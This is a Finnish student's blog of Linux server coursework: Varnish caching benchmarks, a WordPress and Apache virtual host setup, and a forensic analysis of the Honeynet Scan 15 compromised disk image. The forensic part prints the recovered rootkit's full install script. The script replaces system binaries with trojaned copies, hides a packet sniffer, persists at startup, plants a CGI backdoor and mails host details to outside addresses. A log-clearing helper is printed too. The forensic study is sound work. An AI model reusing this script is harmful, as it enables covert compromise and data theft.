Linux palvelimena, kotitehtävä 5: Optimointi

Tero Karvinen says: w07 Tue 2013-02-12 at 15:09
 

Kotitehtävä optimointi:
Tee kaksi seuraavista
a) Asenna Varnish. Muuta jotain sen asetusta VCL-kielellä (esim iso-kuvat suoraan läpi – ei välimuistiin)
b) Analysoi ja nopeuta weppisivua YSlow -lisäkkeen avulla
c) Analysoi ja nopeuta weppisivua Firebug -lisäkkeen Net-välilehden avulla
d) Etsi jokin nopeuden analysoinnissa auttava palvelu wepistä ja käytä sitä
f) Asenna nginx käänteisproxyksi

Tästä lähdin tahkoamaan ensimmäisenä Varnishin asennusta ja testausta.

Tehtävään käytettävä kone:

HP elitebook 2530p
Core2Duo L9400 1,86 GHz
4 GB muistia
Käyttöjärjestelmänä Xubuntu 12.04 32-bit.


Koneeseen oli jo valmiiksi asennettu toimiva LAMP-stack ja wordpress, joten lähdin testaamaan olemassa olevan sivuston suorituskykyä.

Perinteiseen tapaan aloitus:

$ sudo apt-get update

ja vielä päivitys

$ sudo apt-get upgrade -y

Testataan suorituskykyä Apache Benchmarkilla ja lähetetään palvelimelle 400 yhteyspyyntöä, joista 200 samanaikaisesti:

$ ab -n 800 -c 400 http://localhost/~a1003594/wordpress/

Tuloksena saatiin seuraavaa:

Concurrency Level:      400
Time taken for tests:   5.107 seconds
Complete requests:      800
Failed requests:        144
   (Connect: 0, Receive: 0, Length: 144, Exceptions: 0)
Write errors:           0
Non-2xx responses:      656
Keep-Alive requests:    656
Total transferred:      404352 bytes
HTML transferred:       209920 bytes
Requests per second:    156.65 [#/sec] (mean)
Time per request:       2553.410 [ms] (mean)
Time per request:       6.384 [ms] (mean, across all concurrent requests)
Transfer rate:          77.32 [Kbytes/sec] received


800 pyynnöstä 144 epäonnistui, ja palvelin pystyi käsittelemään 156 pyyntöä sekunnissa.

Seuraavaksi asennetaan Varnish ja kokeillaan samaa sen kanssa.

$ sudo apt-get install varnish -y

jonka jälkeen asetettiin varnish kuuntelemaan porttia 80:

$ sudo nano /etc/default/varnish

Muutetaan seuraavalla tavalla:

DAEMON_OPTS="-a :80 \

jonka jälkeen muutetaan ports.conffia

$ sudo nano /etc/apache2/ports.conf

NameVirtualHost *:8080
Listen 8080

Virtuaalipalvelimen asetuksia muokattiin seuraavasti:

$ sudo nano /etc/apache2/sites-available/testsite.com

<VirtualHost *:8080>
        ServerName www.testsite.com
        ServerAlias testsite.com
        DocumentRoot /home/a1003594/public_html/testsite.com
</VirtualHost>

ja sama muutos tehtiin default-virtuaalipalvelimelle.

Tämän jälkeen käynnistettiin apache uudelleen, sekä testasin porttiohjauksen toimivuuden surffaamalla osoitteeseen localhost:8080, joka toimi mainosti. Sen jälkeen käynnistin vielä Varnishin uudelleen:

$ sudo service varnish restart

Ajoin seuraavaksi samat 800 yhteyspyyntöä kuin aikaisemminkin seuraavin tuloksin:

 Concurrency Level:      400
Time taken for tests:   0.110 seconds
Complete requests:      800
Failed requests:        0
Write errors:           0
Keep-Alive requests:    0
Total transferred:      759190 bytes
HTML transferred:       577600 bytes
Requests per second:    7291.89 [#/sec] (mean)
Time per request:       54.855 [ms] (mean)
Time per request:       0.137 [ms] (mean, across all concurrent requests)
Transfer rate:          6757.72 [Kbytes/sec] received

Nopeus oli siis parantunut huomattavasti. Yksikään yhteys ei epäonnistunut, ja yhteyksiäkin pystyttiin jo käsittelemään hulppeasti melkein 7300 sekunnissa. Kaiken kaikkiaan Varnish tekee siis sen minkä lupaakin.

Vielä piti muokata jotain Varnishin asetusta VCL-kielellä. Kun en muutakaan keksinyt, tein serverin nimen muuttamisen niin kuin moni muukin.

$ sudo nano /etc/varnish/default.vcl

unset.beresp.http.Server;
set beresp.http.Server = “SeveriServeri”;

Varnishin uudelleen käynnistys ja kokeilu curlilla

$ curl -I http://localhost

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Server: SeveriServeri
Date: Tue, 12 Mar 2013 21:12:48 GMT
X-Varnish: 1150814261
Age: 0
Via: 1.1 varnish
Connection: keep-alive

Ja näin on serverin nimi muutettu. Sitä missä muualla se näkyy kuin curlissa, en tiedä.

Linux palvelimena, kotitehtävä 4: Wordpressin asentaminen

Tero Karvinen says: w06 Tue 2013-02-05 at 15:28
 

Tee ja raportoi kaksi näistä viidestä vaihtoehdosta

a) Asenna WordPress, aloita tyhjältä koneelta (vagrant tai liveromppu).
Ota järkevät URLit (permalinks) käyttöön. Vaihda teema. Kirjoita esimerkki
artikkeli ja varmuuskopioi sisältö. Suojaa kone tulimuurilla.
b) Tee WordPressiin oma teema
c) Asenna Drupal ja kokeile sitä
d) Tee WordPressiin oma plugin
e) Tee yksinkertainen CRUD-ohjelma PHP:lla ja MySQL:ä

Tämän viikon kotitehtävä piti valita ylläolevasta listasta.

Valitsin ensimmäiseksi tehtäväksi Wordpressin asentamisen tyhjälle koneelle.

Wordpressin asennus:

Tehtävään käytettävä kone:
MSI P35 Neo
Intel(R) Core(TM)2 Duo CPU     E8400  @ 3.00GHz
4 GB muistia
Käyttöjärjestelmänä Xubuntu 12.04 liveusb:lta buutattuna.

Ensimmäiseksi pitää asentaa LAMP-stackin muut osat, eli apache, php ja mysql.

$ setxkbmap fi suominäppis
$ sudo apt-get update pakettilistauksen päivitys

Ja sitten vain ohjelmien asennukseen...


$ sudo apt-get install apache2

Testaus localhostilla että toimii, jonka jälkeen kotihakemistot käyttöön ja Apachen uudelleenkäynnistys

$ sudo a2enmod userdir  Kotihakemistojen käyttöönotto
$ sudo service apache2 restart Apachen uudelleen käynnistys

Seuraavaksi tein kotihakemistoon public_html kansion ja sinne nanolla index.html tiedoston Hei, Maailma sisältöisenä

$ cd
$ mkdir public_html
$ nano index.html


Testasin toimivuuden avaamalla Firefoxiin localhost/~xubuntu, ja totesin käyttäjäkohtaisen kansion toimivuuden.


Seuraavaksi asensin PHP:n komennolla

$ sudo apt-get install libapache2-mod-php5


ja kävin ottamassa php:n käyttöön käyttäjille muokkaamalla php5.conf tiedostoa

$ sudo nano /etc/apache2/mods-enabled/php5.conf


ja käynnistin apachen uudelleen.


$ sudo service apache2 restart

Seuraavaksi testasin PHP:n toimivuuden käyttämällä Tero Karvisen mallikoodia.

<?php echo "Hello PHP World, 2+2 is " . (2+2); ?>

$ nano ~/public_html/hello.php

Testasin tämä taas menemällä Firefoxilla http://localhost/~xubuntu/hello.php ja totesin PHP:n toimivaksi.

Seuraavaksi asensin MySQL:n komennolla:

$ sudo apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql

ja annoin asennuksen aikana salasanan MySQL:n rootille.

Asensin vielä phpMyAdminin jos sattuisin sitä tarvitsemaan

$ sudo apt-get install phpmyadmin

Seuraavaksi asensin ja purin Wordpressin viimeisimmän version:

$wget http://wordpress.org/latest.tar.gz
$tar xf latest.tar.gz


Tämän jälkeen palasin luomaan tietokannan Wordpressille.

$ mysql -u root -p
ja kirjauduttiin sisään aikaisemmin antamalla vahvalla salasanalla.

Luodaan Wordpressille tietokanta:
mysql> CREATE DATABASE wptesti;

ja luodaan käyttäjätunnus
mysql> CREATE USER wptestidude@localhost IDENTIFIED BY 'tähänihantuskaisenhyväsalasana';


ja annetaan oikeudet tietokantaan
mysql> GRANT ALL PRIVILEGES ON wptesti.* TO wptestidude@localhost;

Näin tietokanta ja käyttäjä on luotu WordPressiä varten, ja voidaan siirtyä sen asentamiseen.

Aloitin WP:n asennuksen kirjoittamalla firefociin sen osoitteen  http://localhost/~xubuntu/wordpress/ ja aloin luomaan pyydettyä asetustiedostoa..






















..antamalla pyydetyt tiedot..

...asennusohjelma ei kuitenkaan saanut tiedostoa tehtyä, joten luotiin tämä wp-config.php manuaalisesti wordpressin kansioon,ja kopioitiin siihen annettu koodi.

$ cd ~/public_html/wordpress
$ nano wp-config.php

Tämän jälkeen palatiin firefoxiin ja ajettiin asennus, johon annettiin sivujen otsikko, käyttäjänimi, salasana, e-mail osoite ja valinta saako hakukoneet löytää sivun.

Nämä tiedot annettuani, pääsikin jo Wordpressiin kirjautumaan.

Tämän jälkeen homma onkin muokkausta oman mielen mukaisesti.
Tehtävässä kuitenkin pyydettiin ottamaan permalinksit käyttöön, joten valitsin settings valikon alta permalinks osion ja valitsin haluamani tyylin. Tämän jälkeen ohjelma käski päivittää .htaccess tiedostoon valmiin koodin, joten otin siitä kopion ja liitin sen suoraan tiedostoon.

Unohdin tässä kohtaa enabloida mod_rewriten, eikä permalinksit toimineet.

Siispä:

$ sudo a2enmod rewrite
ja uudelleen käynnistys

$ sudo service apache2 restart.

Ja niin lähti permalinksit toimimaan...

Teeman vaihtaminen onnistuu kätevästi Appearance -> themes -valikosta, josta voi valita haluamansa ulkoasun. Valinnan jälkeen tein vielä testipostauksen...

Varmuuskopiointi onnistuu mainiosti Tools ->export valikosta, josta voi valita mitä otetaan talteen. Itse otin toki kaiken. Tällöin luodaan xml-tiedosto, joka pitää sisällään kaiken sivuston materiaalin, kommentit, artikkelit, kommentit jne.

Lopuksi piti suojata kone vielä tulimuurilla.

$ sudo ufw allow 80/tcp
$ sudo ufw allow 22/tcp

Konfiguroitiin muuri sallimaan HTTP ja SSH porttien yhteydet.
Tämän jälkeen vielä käynnistin muurin ja tarkastin sen toimivuuden.

$ sudo ufw enable
$ sudo ufw status

Näin on tehtävä valmis, mutta toinen tehtävä jatkuu myöhemmin...

Lähteet:

 http://terokarvinen.com/fedora_linux_apache_mysql_php.html

http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013

Linux palvelimena, kotitehtävä 3: Apachen nimipohjainen virtuaalipalvelin

Tämän viikon kotitehtävänä oli Apachen nimipohjaisen virtuaalipalvelimen luonti, sekä virheiden tekeminen Apachen lokiin ja niiden analysointi.

Aloitin tehtävän tekemisen tutustumalla Eino Liimatan aikaisemman kurssin vastaavaan tehtävään.

Kävin myös kurkaamassa Apachen dokumentaatiota aiheesta.


Tehtävään käytettävä kone:
HP elitebook 2530p
Core2Duo L9400 1,86 GHz
4 GB muistia
Käyttöjärjestelmänä Xubuntu 12.04 32-bit.

Virtuaalipalvelimen luonti

Koneelle oli jo valmiiksi asennettu Apache tunnilla, mutta kertauksen vuoksi komennot olivat:

$ sudo apt-get update Pakettilistauksen päivitys
$ sudo apt-get install apache2  Apachen asennus
$ sudo a2enmod userdir  Kotihakemistojen käyttöönotto
$ sudo service apache2 restart Apachen uudelleen käynnistys

Aloitin tekemällä virtuaalipalvelimelle oman kansion public_html kansioon

$ mkdir ./public_html/testsite.com

Tämän jälkeen määritin palvelimen nimitiedot /etc/host tiedostoon:

$ sudo nano /etc/hosts

lisäämällä sinne rivit

192.168.xxx.xxx     www.testsite.com
192.168.xxx.xxx     testsite.com

Seuraavaksi tein siirryin muokkaamaan Apachen asetuksia sites-available kansioon.

$ cd /etc/apache2/sites-available

Tämän sisältämästä default-tiedostosta tein kopion testsite.com

$ cp default testsite.com

Ylläriylläri, oikeudet eivät riittäneet, joten sudoa kehiin

$ sudo cp default testsite.com

Seuraavaksi muokkasin testsite.com tiedostoa nanolla

$ sudo nano testsite.com

ja lopputulema näytti tältä

<VirtualHost *:80>
        ServerName www.testsite.com
        ServerAlias testsite.com
        DocumentRoot /home/a1003594/public_html/testsite.com
</VirtualHost>

Seuraavaksi tein testisivun public_html/testsite.com kansioon käyttämällä Tero Karvisen html5 pohjaa

$ sudo nano index.html

 <!doctype html>
<html>
<head>
        <title>www.testsite.com</title>
        <meta charset="utf-8" />
</head>
<body>
        <h1>www.testsite.com</h1>
        <p>Hello world! Brought to you by name-based virtual host</p>
</body>
</html>

Viimeisenä otettiin uusi virtuaalipalvelin käyttöön

$ sudo a2ensite testsite.com

ja käynnistettiin Apache uudelleen

$ sudo service apache2 reload

Vielä testaus molemmilla osoitteilla























ja mainiosti tuntui toimivan.

Apachen lokit

Jatkan Apachen lokien osalta tehtävää myöhemmin.


Lähteet:

http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013#comment-19419

http://eliimatt.wordpress.com/2012/09/24/harjoitustehtava-5-apache/

http://httpd.apache.org/docs/2.2/vhosts/name-based.html

http://terokarvinen.com/2012/short-html5-page

Linux palvelimena, viikko 2

Viikko 2. Poliisit ja rosvot.

Tämän viikon kotitehtävänä oli Honeynetin Scan of the month 15 http://old.honeynet.org/scans/scan15/ jonka tehtävänanto oli seuraava:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly reccommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partion for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

1.              Show step by step how you identify and recover the deleted rootkit from the / partition.

2.              What files make up the deleted rootkit?

Bonus Question:  Was the rootkit ever actually installed on the system? How do you know?

Koska en ollut viikonloppuna kotona, ja unohdin live-usbin olohuoneen pöydälle, päätin tehdä virtualboxilla (versio 4.2.6 for windows http://download.virtualbox.org/virtualbox/4.2.6/VirtualBox-4.2.6-82870-Win.exe) oman testixubuntun (12.04)

Koneena siis HP elitebook 2530p, win 7 enterprise 64-bit SP1, Core2Duo L9400 1,86 GHz ja 4 GB muistia.

Aloitin tehtävän hakemalla levykuvan http://old.honeynet.org/scans/scan15/honeynet.tar.gz

ja siirsin sen omaan kansioonsa /scan15

Purin paketin komennolla $ tar -xf honeynet.tar.gz joka purki levykuvan omaan alikansioon /scan15/honeynet.

Seuraavaksi asensin sleuthkitin ja sekä autopsyn, sen graafisen käyttöliittymän takia.

$ sudo apt-get update

$ sudo apt-get install sleuthkit

$ sudo apt-get install autopsy

Seuraavaksi autopsyn käynnistys

$ sudo autopsy

Tässä kohtaa ohjelma pyysi avaamaan selaimen ja kirjoittamaan osoitekenttään localhost:9999/autopsy

Tästä valitaan new case, annetaan caselle nimi, mahdollinen kuvaus ja  tutkijoiden nimet.

Seuraavassa annetaan caselle host, tässä tapauksessa ehdotettu host1, sekä importataan levykuva. En muokannut ehdotettuja asetuksia.

Kun tämä oli valmis, analyze painikkeella päästiin itse levykuvaan.

Vinkiksi annettiin tunnilla, että rootkit on poistettu koneelta. Niinpä lähdin tarkastelemaan poistettuja tietoja. Heti ensimmäisenä silmille hyppäsi poistettu kansio last, joka osoittautui tyhjäksi, sekä lk.tgz paketti. Exporttasin lk.tgz paketin /scan15/honeynet kansioon, ja purin sen komennolla $ sudo tar –xf vol1-1.lk.tgz. Tämä loikin samaisen last kansion joka löytyi poistetusta, ja piti sisällään /bin ja /lib kansioihin kuuluvia tiedostoja.

cleaner last.cgi mkxfs s ssh ssh_host_key.pub

ifconfig linsniffer netstat sense ssh_config ssh_random_seed

inetd.conf logclear pidfile services sshd_config top

install lsattr ps sl2 ssh_host_key

Oletan, että tämä paketti on siis tuo kaivattu rootkit.

Päätin vielä syynätä tarkemmin tiedostojen sisältöä strings -komennolla aloittaen linsnifferistä. Tämä kun kuulostaa jo harvinaisen paljon semmoiselta mikä ei kuulu koneeseen. Tiedosto ei itsessään kertonut juurikaan mitään, mutta pikainen googletus kertoi ohjelma olevan ”powerful Linux Ethernet sniffer”.

Seuraavaksi otin käsittelyyn install-tiedoston, joka sisälsi seuraavaa:

#!/bin/sh

clear

unset HISTFILE

echo    "********* Instalarea Rootkitului A Pornit La Drum *********"

echo    "********* Mircea SUGI PULA ********************************"

echo    "********* Multumiri La Toti Care M-Au Ajutat **************"

echo    "********* Lemme Give You A Tip : **************************"

echo    "********* Ignore everything, call your freedom ************"

echo    "********* Scream & swear as much as you can ***************"

echo    "********* Cuz anyway nobody will hear you and no one will *"

echo    "********* Care about you **********************************"

echo

echo

chown root.root *

if [ -f /usr/bin/make ]; then

    echo "Are Make !"

else

    echo "Nu Are Make !"

fi

if [ -f /usr/bin/gcc ]; then

    echo "Are Gcc !"

else

    echo "Nu Are Gcc !"

fi

if [ -f /usr/sbin/sshd/ ]; then

    echo "Are Ssh !"

else

    echo "Nu Are Ssh !"

fi

echo -n "* Inlocuim nestat ... alea alea "

rm -rf /sbin/ifconfig

mv ifconfig /sbin/ifconfig

rm -rf /bin/netstat

mv netstat /bin/netstat

rm -rf /bin/ps

mv ps /bin/ps

rm -rf /usr/bin/top

mv top /usr/bin/top

cp -f mkxfs /usr/sbin/

echo "* Gata..."

echo -n "* Dev... "

echo

echo

touch /dev/rpm

>/dev/rpm

echo "3 sl2" >>/dev/rpm

echo "3 sshdu" >>/dev/rpm

echo "3 linsniffer" >>/dev/rpm

echo "3 smurf" >>/dev/rpm

echo "3 slice" >>/dev/rpm

echo "3 mech" >>/dev/rpm

echo "3 muh" >>/dev/rpm

echo "3 bnc" >>/dev/rpm

echo "3 psybnc" >> /dev/rpm

touch /dev/last

>/dev/last

echo "1 193.231.139" >>/dev/last

echo "1 213.154.137" >>/dev/last

echo "1 193.254.34" >>/dev/last

echo "3 48744" >>/dev/last

echo "3 3666" >>/dev/last

echo "3 31221" >>/dev/last

echo "3 22546" >>/dev/last

echo "4 48744" >>/dev/last

echo "4 2222" >>/dev/last

echo "* Gata"

echo "* Facem Director...Si Mutam Alea.. "

mkdir -p /dev/ida/.drag-on

mkdir -p /dev/ida/".. "

echo "* Copiem ssh si alea"

cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/

cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "

rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed

touch /dev/ida/.drag-on/tcp.log

touch /dev/ida/".. "/tcp.log

cp -f inetd.conf /etc

cp -f services /etc

killall -HUP inetd

echo

echo

echo

echo "* Adaugam In Startup:) ..."

rm -rf /usr/bin/lsattr

echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit

echo >> /etc/rc.d/rc.sysinit

cp -f lsattr /usr/bin/

chmod 500 /usr/bin/lsattr

chattr +i /usr/bin/lsattr

/usr/bin/lsattr

sleep 1

if [ -d /home/httpd/cgi-bin ]

then

mv -f last.cgi /home/httpd/cgi-bin/

fi

if [ -d /usr/local/httpd/cgi-bin ]

then

mv -f last.cgi /usr/local/httpd/cgi-bin/

fi

if [ -d /usr/local/apache/cgi-bin ]

then

mv -f last.cgi /usr/local/apache/cgi-bin/

fi

if [ -d /www/httpd/cgi-bin ]

then

mv -f last.cgi /www/httpd/cgi-bin/

fi

if [ -d /www/cgi-bin ]

then

mv -f last.cgi /www/cgi-bin/

fi

echo "* Luam Informatiile dorite ..."

echo "* Info : $(uname -a)" >> computer

echo "* Hostname : $(hostname -f)" >> computer

echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer

echo "* Uptime : $(uptime)" >> computer

echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer

echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer

echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer

echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer

echo "* Spatiu Liber: $(df -h)" >> computer

echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "

cat computer | mail -s "placinte" last@linuxmail.org

cat computer | mail -s "roote" bidi_damm@yahoo.com

echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."

echo

echo

echo "* G A T A *"

echo

echo "* That Was Nice Last "

cd /

rm -rf last lk.tgz computer lk.tar.gz

Heti ensimmäisenä ohjelma poistaa historian pois käytöstä, ja tervehtii sen jälkeen iloisesti ilmeisesti romaniaksi. Skripti ajaa rootkitin koneelle, ja poistaa viimeiseksi vielä tiedostopaketin.

Seuraavaksi tutkin logclearia, joka näytti tältä:

killall -9 linsniffer

rm -rf tcp.log

touch tcp.log

./linsniffer >tcp.log &

Tämä ilmeisesti tappaa linsnifferin, poistaa tcp.login, tekee siitä uuden version ja käynnistää linsnifferin uudelleen. Tämän tarkoituksena lienee piilottaa linsniffer.

Cleaner tiedosto alkoi lupaavasti sen ilmoittaessa olevansa sauber – by socked. Jälleen pikainen googletus kertoi sen olevan osa t0rn rootkittia. Tämän tarkoituksena on ilmeisesti pyyhkiä monia eri lokeja, jonka jälkeen se juhlallisesti ilmoittaa Mestarille kaiken olevan puhdistettu.

Tämän jälkeen tutkin vielä $OrphanFiles kansion poistettuja tietoja. Sieltä löytyikin poistettuna samoja tiedostoja, jotka lk.tgz asensi last kansioon. Tämä saattaisi viitata siihen, että rootkit on todella ollut asennettuna koneeseen.